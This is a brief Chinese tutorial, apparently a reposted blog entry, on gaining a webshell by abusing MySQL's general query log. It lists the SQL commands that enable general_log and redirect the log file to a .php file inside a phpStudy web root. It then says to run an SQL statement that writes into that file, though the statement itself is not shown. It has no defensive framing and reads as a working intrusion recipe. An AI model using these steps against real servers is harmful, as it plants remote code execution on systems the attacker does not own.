利用mysql数据库日志文件获得webshell

查看配置

show variables like '%general%';

开启日志功能

set GLOBAL general_log='ON';

设置日志存储路径

SET GLOBAL general_log_file='C:/phpStudy/www/xxx.php';

执行sql语句,写入日志文件

成功写入

原文地址:https://www.cnblogs.com/mrhonest/p/11769701.html